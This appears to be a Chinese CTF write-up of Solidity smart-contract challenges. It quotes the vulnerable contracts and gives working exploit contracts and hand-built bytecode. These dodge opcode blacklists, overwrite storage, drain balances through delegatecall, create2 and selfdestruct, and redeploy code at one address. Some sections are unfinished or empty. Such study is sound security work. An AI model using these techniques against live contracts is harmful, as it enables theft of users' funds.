抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

EasyAssembly

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
pragma solidity ^0.5.10;

contract EasyAssembly {
event SendFlag(address addr);

uint randomNumber = 0;
bytes32 private constant ownerslot = keccak256('Welcome to qwb!!! You will find this so easy ~ Happy happy :D');

bytes32[] public puzzle;
uint count = 0;
mapping(address=>bytes32) WinChecksum;

constructor() public payable {
setAddress(ownerslot, msg.sender);
}

modifier onlyWin(bytes memory code) {
require(WinChecksum[msg.sender] != 0);
bytes32 tmp = keccak256(abi.encodePacked(code));
address target;
assembly {
let t1,t2,t3
t1 := and(tmp, 0xffffffffffffffff)
t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
t3 := and(shr(0x80,tmp), 0xffffffff)
target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
}
require(address(target)==msg.sender);
_;
}

function setAddress(bytes32 _slot, address _address) internal {
bytes32 s = _slot;
assembly { sstore(s, _address) }
}

function deploy(bytes memory code) internal returns(address addr) {
assembly {
addr := create2(0, add(code, 0x20), mload(code), 0x1234)
if eq(extcodesize(addr), 0) { revert(0, 0) }
}
}

function gift() public payable {
require(count == 0);
count += 1;
if(msg.value >= address(this).balance){
emit SendFlag(msg.sender);
}else{
selfdestruct(msg.sender);
}
}

function pass(uint idx, bytes memory bytecode) public {
address addr = deploy(bytecode);
bytes32 cs = tag(bytecode);
bytes32 tmp = keccak256(abi.encodePacked(uint(1)));
uint32 v;
bool flag = false;

assembly {
let v1,v2
v := sload(add(tmp, idx))
if gt(v, sload(0)){
v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
if eq(xor(mul(v2,0x100000000), v1), cs){
flag := 1
}
}
}
if(flag){
WinChecksum[addr] = cs;
}else{
WinChecksum[addr] = bytes32(0);
}
}

function tag(bytes memory a) pure public returns(bytes32 cs) {
assembly{
let groupsize := 16
let head := add(a,groupsize)
let tail := add(head, mload(a))
let t1 := 0x13145210
let t2 := 0x80238023
let m1,m2,m3,m4,s,tmp
for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
s := 0x59129121
tmp := mload(i)
m1 := and(tmp,0xffffffff)
m2 := and(shr(0x20,tmp),0xffffffff)
m3 := and(shr(0x40,tmp),0xffffffff)
m4 := and(shr(0x60,tmp),0xffffffff)
for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } {
s := and(mul(s, 2),0xffffffff)
t2 := and(add(t1, xor(sub(mul(t1, 0x10), m1),xor(add(t1, s),add(div(t1,0x20), m2)))), 0xffffffff)
t1 := and(add(t2, xor(add(mul(t2, 0x10), m3),xor(add(t2, s),sub(div(t2,0x20), m4)))), 0xffffffff)
}
}
cs := xor(mul(t1,0x100000000),t2)
}
}

function payforflag(bytes memory code) public onlyWin(code) {
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
}

触发 emit SendFlag(msg.sender);

2. analysis

这题卡在了不会算 CS

纵观代码,可知触发 emit SendFlag(msg.sender);的有gift,payforflag函数,但是由之前的经验可知msg.value永远不可能大于address(this).balance,只有payforflag有希望。

分析payforflag,只要通过了 onlyWin 修饰器,就可以成功调用。

分析onlyWin,需要WinChecksum[msg.sender] != 0,这需要在 pass函数中才能实现,继续往下看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bytes32 tmp = keccak256(abi.encodePacked(code));
address target;
/*
牛的:这一顿操作,其实就是取 tem的后20bytes
*/
assembly {
let t1,t2,t3
t1 := and(tmp, 0xffffffffffffffff)
t2 := and(shr(0x40,tmp), 0xffffffffffffffff)
t3 := and(shr(0x80,tmp), 0xffffffff)
target := xor(mul(xor(mul(t3, 0x10000000000000000), t2), 0x10000000000000000), t1)
}
require(address(target)==msg.sender);
_;

分析可知,汇编的作用就是,截取tem的后20bytes,也就是一个地址的长度。

那么如何实现,address(target)==msg.sender),其实很简单,只要知道create2的工作原理就很简单,其实address = address(uint1600(uint(keccak256(abi.encodePacked(0xFF,address(deployer),salt,keccak256(abi.encodePacked(bytecode))))))),简单说来就是:*keccak256(0xff||deployer||salt||keccak256(bytecode))*,所以传入的形参code,我们可以自己将其拼接好。

分析pass函数,其中的汇编如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
如下汇编可以理解为:
将32bytes的tem,8个bytes的块;s7,s6,s5,s4,s3,s2,s1,s0
v1 = (s0 + s1 + 0xffffffff) && 0xffffffff
v2 = ((s3 ^ s4) + s5) && 0xffffffff
将 v1 拼接到 v2 后面, 再和 cs 做比较
*/

assembly {
let v1,v2
v := sload(add(tmp, idx)) // 需要找到一个slot的值不为0的
if gt(v, sload(0)){
v1 := and(add(and(v,0xffffffff), and(shr(0x20,v), 0xffffffff)), 0xffffffff)
v2 := and(add(xor(and(shr(0x40,v), 0xffffffff), and(shr(0x60,v), 0xffffffff)), and(shr(0x80,v),0xffffffff)), 0xffffffff)
if eq(xor(mul(v2,0x100000000), v1), cs){
flag := 1
}
}
}

汇编中的v可以令其add(tem,idx)的值等于slot_ownerslot即可,这个应该不难算,idx=slot_ownerslot-tem即可。这里xor(mul(v2,0x100000000), v1)的值是被固定了的,即对keccak256(abi.encodePacked(uint(1)))进行一系列操作得到的,所以能让他们俩相等的唯一办法就是控制cs的值。

分析tag函数,这个函数就很恐怖了。。。。

我暂时不会,这里是大佬的博客: link

3. solve

1
// It is difficult for me....

BoxGame

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

constructor(bytes memory a) payable public {
assembly {
return(add(0x20, a), mload(a))
}
}

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function payforflag(address payable _addr) public {

require(_addr != address(0));

target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

我是真不知道大佬是怎么看出来,这不是真正的合约,真正部署到脸上的合约是,构造器返回的a,我直接亚麻呆住了,如下是 RealContract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.5.10;

contract BoxGame {

event ForFlag(address addr);
address public target;

function payforflag(address payable _addr) public {

require(_addr != address(0));

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

_addr.delegatecall(abi.encodeWithSignature(""));
selfdestruct(_addr);
}

function sendFlag() public payable {
require(msg.value >= 1000000000 ether);
emit ForFlag(msg.sender);
}

}

我直呼 666,这题的目的是触发 ForFlag事件。

2. analysis

这题要求我们,在传入的 _addr的runtimeCode中,不出现0xf0 0xf1 0xf2 0xf4 0xfa 0xff,这就需要构建 bytecode了。

delegatecall可以利用其特性,在addr中触发 ForFlag,实际上触发的是BoxGame中ForFlag。

而且,通过对内联汇编 log1的学习,其实在攻击合约中可以不定义 event(同文件下其他合约中定义了即可,详情请看:这里),尽量简化攻击合约,尽可能将攻击合约的bytecode最小化。

_addr.delegatecall(abi.encodeWithSignature("")),很明显需要在hacker合约中编写回调函数,在内联汇编中,log1(offset, size, topic)其中topic是事件的hash,本题是,keccak256(abi.encodePacked("ForFlag(address)")),可以简单通过 cast 指令算出,如下

image-20231008002708589

按理来说,攻击函数可以写成,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
contract BoxGameHacker {

function() external {

address owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
bytes32 eventHash = keccak256(abi.encodePacked("ForFlag(address)"));

assembly {
mstore(0x80, owner)
log1(0x80, 0x20, eventHash)
}
}
}

其实不用试也知道,这个hacker合约中的runtimecode不行,因为,在keccak256(abi.encodePacked("ForFlag(address)"))中已经出现了,f0f1(其实这不是f1,而是0f,1f不过不管了,问题不大),所以可将这个值拆分为如下:

1
2
3
4
5
6
7
bytes32 eventHash = 0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2;
uint v = 0x100000000000000000000000000000000001000000000000000000;

assembly {
mstore(0x80, owner)
log1(0x80, 0x20, add(eventHash, v))
}

0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2=0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2+0x100000000000000000000000000000000001000000000000000000这样就避免了f0和f1。

此时的bytecode为

1
0x6080604052348015600f57600080fd5b5060b780601d6000396000f3fe6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032

runtimecode为

1
0x6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032

metadata为

1
0xfea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032

但是,bytecode中还是有f4,fa,ff,但是这三个恰好在metadata部分,使用create2创建合约的时候,将bytecode中的metadata部分删掉,其实不会影响合约的创建,metadata学习

先计算该bytecode中的runtimecode的长度,计算结果为0x82

image-20231008005128361

故直接修改部署字节码,将return的长度修改为0x82,去除最后的部分即可

最后的bytecode为

1
0x6080604052348015600f57600080fd5b50608280601d6000396000f3fe6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a72315820048f42c13217b95d2c73187effa267c0fc8d0018eae54833b5fc94fe028682ec64736f6c63430005110032

runtimecode为(因为长度由原来的0xb7变成了0x82)

1
0x6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000

而在BoxGame合约中,extcodecopy获取到的code为,如上runtimecode即不包括(0xf0 0xf1 0xf2 0xf4 0xfa 0xff),使用上面的bytecode部署攻击合约后,将其地址作为参数,调用题目合约的payforflag函数,即可触发ForFlag事件。

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// create bytecode
contract BoxGameHacker {

function() external {

address owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
// bytes32 eventHash = keccak256(abi.encodePacked("ForFlag(address)"));
bytes32 eventHash = 0x89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e2;
uint v = 0x100000000000000000000000000000000001000000000000000000;

assembly {
mstore(0x80, owner)
log1(0x80, 0x20, add(eventHash, v))
}
}
}

// deploy contract
contract Deployer {

function deploy(uint salt) external returns(address) {

bytes32 _salt = keccak256(abi.encodePacked(salt));

bytes memory bytecode = hex"6080604052348015600f57600080fd5b50608280601d6000396000f3fe6080604052348015600f57600080fd5b50600073ab8483f64d9c6d1ecf9b849ae677dd3315835cb2905060007f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9e260001b905060007a10000000000000000000000000000000000100000000000000000090508260805280820160206080a150505000fea265627a7a723158204625f66260f1fdaf525f42f693a093d7d82bc23c20de4f2d6993a2391b1a2bcf64736f6c63430005110032";
address hacker;

assembly {
hacker := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)
}

return hacker;
}
}

成功触发ForFlag

image-20231008002220148

EasySandbox

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pragma solidity ^0.5.10;

contract EasySandbox {
uint256[] public writes;
mapping(address => address[]) public sons;
address public owner;
uint randomNumber = 0;

constructor() public payable {
owner = msg.sender;
sons[msg.sender].push(msg.sender);
writes.length -= 1;
}

function given_gift(uint256 _what, uint256 _where) public {
if(_where != 0xd6f21326ab749d5729fcba5677c79037b459436ab7bff709c9d06ce9f10c1a9f) {
writes[_where] = _what;
}
}

function easy_sandbox(address _addr) public payable {
require(sons[owner][0] == owner);
require(writes.length != 0);
bool mark = false;
for(uint256 i = 0; i < sons[owner].length; i++) {
if(msg.sender == sons[owner][i]) {
mark = true;
}
}
require(mark);

uint256 size;
bytes memory code;

assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

for(uint256 i = 0; i < code.length; i++) {
require(code[i] != 0xf0); // CREATE
require(code[i] != 0xf1); // CALL
require(code[i] != 0xf2); // CALLCODE
require(code[i] != 0xf4); // DELEGATECALL
require(code[i] != 0xfa); // STATICCALL
require(code[i] != 0xff); // SELFDESTRUCT
}

bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
require(writes.length == 0);
require(sons[owner].length == 1 && sons[owner][0] == tx.origin);
}

// patch
function isSolved() public view returns (bool) {
return address(this).balance == 0;
}
}

将合约中的钱盗取。

2. analysis

前置知识:在delegatecall中,logic合约的数据不会改变,改变的是proxy合约中的数据,address(this).banlance同样如此,所以本题可以通过(success, _) = _addr.delegatecall("");这条语句,将EasySandbox合约的钱掏空。

分析easy_sandbox函数,前两个断言不需要不需要动脑经,看到第三个断言,需要将msg.sender加入到sons[owner][i]中,这里可以通过writes[]数组进行覆盖,初始化的时候该数组长度被设置为type(uint).maxgiven_gift()函数为覆盖提供可行性。

所以要计算出,sons[owner]所对应动态数组长度的所在索引,以及,sons[owner][1]所在的索引。计算思路如下:

1
2
3
4
5
6
7
# cal index of sons[owner].length
slot_length = keccak256(owner,1)
idx_length = slot_length - keccak256(0)

# cal index of sons[owner][0]
slot_Arr_0 = keccak256(keccak256(owner,1))
idx_Arr_0 = slot_Arr_0 - keccak256(0)

看到,如下代码

1
2
3
4
5
6
7
assembly {
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}

很熟悉,意思就是将_addr的runtimecode拷贝下来,将其赋值给code,接下来循环语句和上一题很类似,即不能出现0xf0 0xf1 0xf2 0xf4 0xfa 0xff,这很可能需要编辑bytecode,然后通过create2创建合约。

往下分析最后的三个断言,可得到的想法为

1
2
3
4
5
6
7
/*
1. hacker合约的逻辑处理需要在回调函数中完成;
2. 确保合约成功调用;
3. 修改writes.length,该值位于slot0, sstore(0,0)就ok了;
4. 修改sons[owner]对应动态数组的长度为1,sstore(keccak256(owner||1),1)
5. 耗尽address(this).banlance --> create2
*/

按要求可得到攻击合约如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract EasySandboxHelper {

function() external {

assembly {

// set writes.length == 0
sstore(0, 0)

// set sons[owner].length = 1
let idx_sons_owner_length := 0x9d4d959825f0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
sstore(idx_sons_owner_length, 1)

// set sons[owner][0] == tx.origin
let idx_sons_owner_0 := 0x94b29c01ed483e694a7ecf386d384987d4d3e9d4e6c476f5b97302b23ff871c9 //ff is 32 f8
sstore(idx_sons_owner_0, origin())

// exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)

}
}
}

我是在复现,所以题中部署的owner0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2,对其进行keccak256(owner,1) 计算时,出现了F0,所以要对其进行相加

1
2
3
let idx_sons_owner_length := 0x9d4d959825e0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
let tem := 0x100000000000000000000000000000000000000000000000000000
sstore(add(idx_sons_owner_length, tem), 1)

前面几个修改值还是很容易实现的,有趣的是,如何将合约的钱掏空,我最开始想到的是使用call,但是好奇不巧,call的序号为F1,随后看到大佬的题解,采用了create2,同时还将合约的钱转回了自己的账户,我直接看呆了,后面仔细分析,最后借鉴了这波操作。

1
2
3
// exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)

📌细品

使用0x32FF这两个字节作为bytcode创建合约,其含义为selfdestruct(tx.origin),我第一次见还可以这样创建合约的,直接自毁,又由于FF被禁止使用,所以采用了add(0x32FE,0x1),随后将0x32FF移动到32bytes的高16位。

1
2
3
4
5
/*
左移240位的原因:
对于一段bytecode,EVM的读取方式为从左到右,即从高位到低位, mstore(offset, value) 存储方式为低位存储,高位留空,且存储的大小为32bytes即256位,0x32FF占了4*4=16(bit),所以需要左移 32bytes(256bit) - 16bit = 240(0XF0)bit

*/

最后,如果在metadata部分出现了被限制的字节,可以像BoxGame那样,修改return的字节长度。将最终的bytecode通过create2创建出来即可用来完成pwn。

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
/* realize fallback */
contract EasySandboxHelper {

function() external {

assembly {

// set writes.length == 0
sstore(0, 0)

// set sons[owner].length = 1
/*
set owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

destination = 0x9d4d959825f0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
= 0x9d4d959825e0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
+ 0x100000000000000000000000000000000000000000000000000000

*/
let idx_sons_owner_length := 0x9d4d959825e0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a4
let tem := 0x100000000000000000000000000000000000000000000000000000
sstore(add(idx_sons_owner_length, tem), 1)

// set sons[owner][0] == tx.origin
let idx_sons_owner_0 := 0x94b29c01ed483e694a7ecf386d384987d4d3e9d4e6c476f5b97302b23ff871c9 //ff is 32 f8
sstore(idx_sons_owner_0, origin())

// exhaust address(this).balance
mstore(0x200, shl(239, shl(1, add(0x32FE,0x1))))
let hacker := create2(selfbalance(), 0x200, 2, 0)

}
}
}

/* realize attack*/
contract EasySandboxHacker {

EasySandbox box;
Calculation cal;
address helper;

constructor(address _box) public {

box = EasySandbox(_box);
cal = new Calculation();
bytes memory bytecode = hex"6080604052348015600f57600080fd5b50609a8061001e6000396000f3fe6080604052348015600f57600080fd5b50600080557f9d4d959825e0680278e64197773b2a50cd78b2b2cb00711ddbeebf0bf93cd8a47a1000000000000000000000000000000000000000000000000000006001818301557f94b29c01ed483e694a7ecf386d384987d4d3e9d4e6c476f5b97302b23ff871c932815560016132fe0160011b60ef1b610200526000600261020047f55050505000fea265627a7a7231582023a73df8d65ef946e0bdd1fb3d5b829c0dcaa1a4e38382baac32981b896977f464736f6c63430005110032";

address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), 0)
}

helper = addr;
}

function pwn() public {

// First, get owner
address box_owner = box.owner();

// 1. set sons[owner].length = 2
uint idx1 = uint(cal.calIdxOf_Arr(box_owner)) - uint(keccak256(abi.encodePacked(uint(0))));
box.given_gift(2, idx1);

// 2. set sons[owner][1] = msg.sender
uint idx2 = uint(cal.calArr0(box_owner)) - uint(keccak256(abi.encodePacked(uint(0))));
box.given_gift(uint(address(this)), idx2 + 1);
console.log("given_gift2");

// 3. call easy_sandbox() to exhaust the balance
box.easy_sandbox(address(helper));

// 4. determine is not solving
require(box.isSolved(), "You don't solve the challenge...");

}
}

/*calculation*/
contract Calculation {

// 计算 owner => address[] 数组长度所在的位置
function calIdxOf_Arr(address owner) public returns(bytes32) {
return keccak256(abi.encode(owner, uint(1)));
}

// 计算 address[0]所在位置
function calArr0(address owner) public returns (bytes32) {
return keccak256(abi.encodePacked(calIdxOf_Arr(owner)));
}
}

StArNDBOX

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
pragma solidity ^0.5.11;

library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}

function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}

function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}

function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}

}

contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{

uint256 size;
bytes memory code;
int res;

assembly{
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}

// patch
function isSolved() public view returns (bool) {
return address(this).balance == 0;
}
}

📌 目标:将合约的钱掏空

2. analysis

和上一题类似,也是要通过delegatecall将合约的余额掏空,但是要求_addr的runtimecode的字节全是质数,而质数的限制太多了,可以构造runtime字节码,和BoxGame有点类似,在constructor中返回即可。而runtimecode被部署到链上,是可以被调用的逻辑,只要将runtimecode的设置为将本合约的balance全部转走即可。最有用的两个opcode就是push2(0x61)以及call(0xf1)

1
2
3
4
5
6
7
8
9
/*
call(g, a, v, in, insize, out, outsize)
// g是可用的gas数量,a是要调用的合约地址,v是要发送的以太币数量,in是要发送的调用数据,
// insize是调用数据的长度,out是一个指向输出缓冲区的指针,outsize是输出缓冲区的大小
// 入栈的顺序为: outsize -> out -> insize -> in -> v -> a -> g -> call
// msg.sender(0x33), tx.origin(0x32) is not prime
// set value => outsize=0, out=0, insize=0, in=0, v=0x47(SELFBALANCE()), a=address(0), gas=FBFB
// push1(0x60) is not prime, push2(0x61) is prime
*/

将上述操作换做opcde为

1
2
3
4
5
6
7
8
// PUSH2 0000 610000 // outsize
// PUSH2 0000 610000 // out
// PUSH2 0000 610000 // insize
// PUSH2 0000 610000 // in
// selfbalance() 47 47 // value
// PUSH2 0000 610000 // address
// PUSH2 FBFB 61FBFB// gas
// CALL F1 F1 // opcode

runtimecode为:

1
0x6100006100006100006100004761000061FBFBF1

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
contract StArNDBOXHacker {

StArNDBOX box;

constructor(address _box) public {
box = StArNDBOX(_box);
}

function pwn() external {

// steal the balance of box
box.StArNDBoX(address(new StArNDBOXHelper()));

// slove
require(box.isSolved(), "You don't solve the challenge...");
}

}

contract StArNDBOXHelper {

constructor() public {
/*
call(g, a, v, in, insize, out, outsize) => exhaust the money

// g是可用的gas数量,a是要调用的合约地址,v是要发送的以太币数量,in是要发送的调用数据,
// insize是调用数据的长度,out是一个指向输出缓冲区的指针,outsize是输出缓冲区的大小

// 入栈的顺序为: outsize -> out -> insize -> v -> a -> g -> call

// msg.sender(0x33), tx.origin(0x32) is not prime
// set value => outsize=0, out=0, insize=0, v=0x47(SELFBALANCE()), a=address(0), gas=

// push1(0x60) is not prime, push2(0x61) is prime

// PUSH2 0000 610000 // outsize
// PUSH2 0000 610000 // out
// PUSH2 0000 610000 // insize
// PUSH2 0000 610000 // in
// selfbalance() 47 47 // value
// PUSH2 0000 610000 // address
// PUSH2 FBFB 61FBFB// gas
// CALL F1 F1 // opcode

*/
bytes memory runtimecode = hex"6100006100006100006100004761000061FBFBF1";

assembly {
return(add(runtimecode, 0x20), mload(runtimecode))
}
}
}

AcoraidaMonica

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
```

>

### 2. analysis

>

### 3. solve

## Re-Montagy

### 1. question

**源码**

```solidity

2. analysis

3. solve

Creativity

1. question

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.5.10;

contract Creativity {
event SendFlag(address addr);

address public target;
uint randomNumber = 0;

function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}

function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}

function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}

触发SendFlag事件

2. analysis

这题有点类似:EKO的 phoenixtto,原理是相同的合约地址,具有不同的逻辑功能。

哎,离谱得很。

分析:要触发SendFlag事件,显然需要通过execute函数,该函数通过delegatecall调用target。而target需要通过check设置,限制了合约代码长度不超过4个字节。但是4个字节显然不能实现触发事件的功能,这里是看大佬的题解 这里使用create2的一个小技巧,可以让不同的字节码部署到同一个地址。可以先部署一个只具有自毁功能的合约,即只具备四个字节(0x32FF)selfdestrct(tx.origin)这样一来就可以通过check将参数赋值给target,返回通过低级调用,让该合约自毁(保证create2正常执行),最后通过create2在同一个地址创建触发SendFlag事件的合约,在执行execute函数即可。

实现同一地址,具有不同功能的代码(借鉴大佬的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Deployer {
bytes public deployBytecode;

// code is Logic contract's bytecode
function deploy(bytes memory code) public returns(address addr) {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = type().creationCode;
assembly {
addr := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x1030)
}
}
}

contract Dumper {
constructor() {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}

注意:_addr都是通过Deployer合约创建的,而且调用deploy函数的两次传参分别是具有自毁功能的

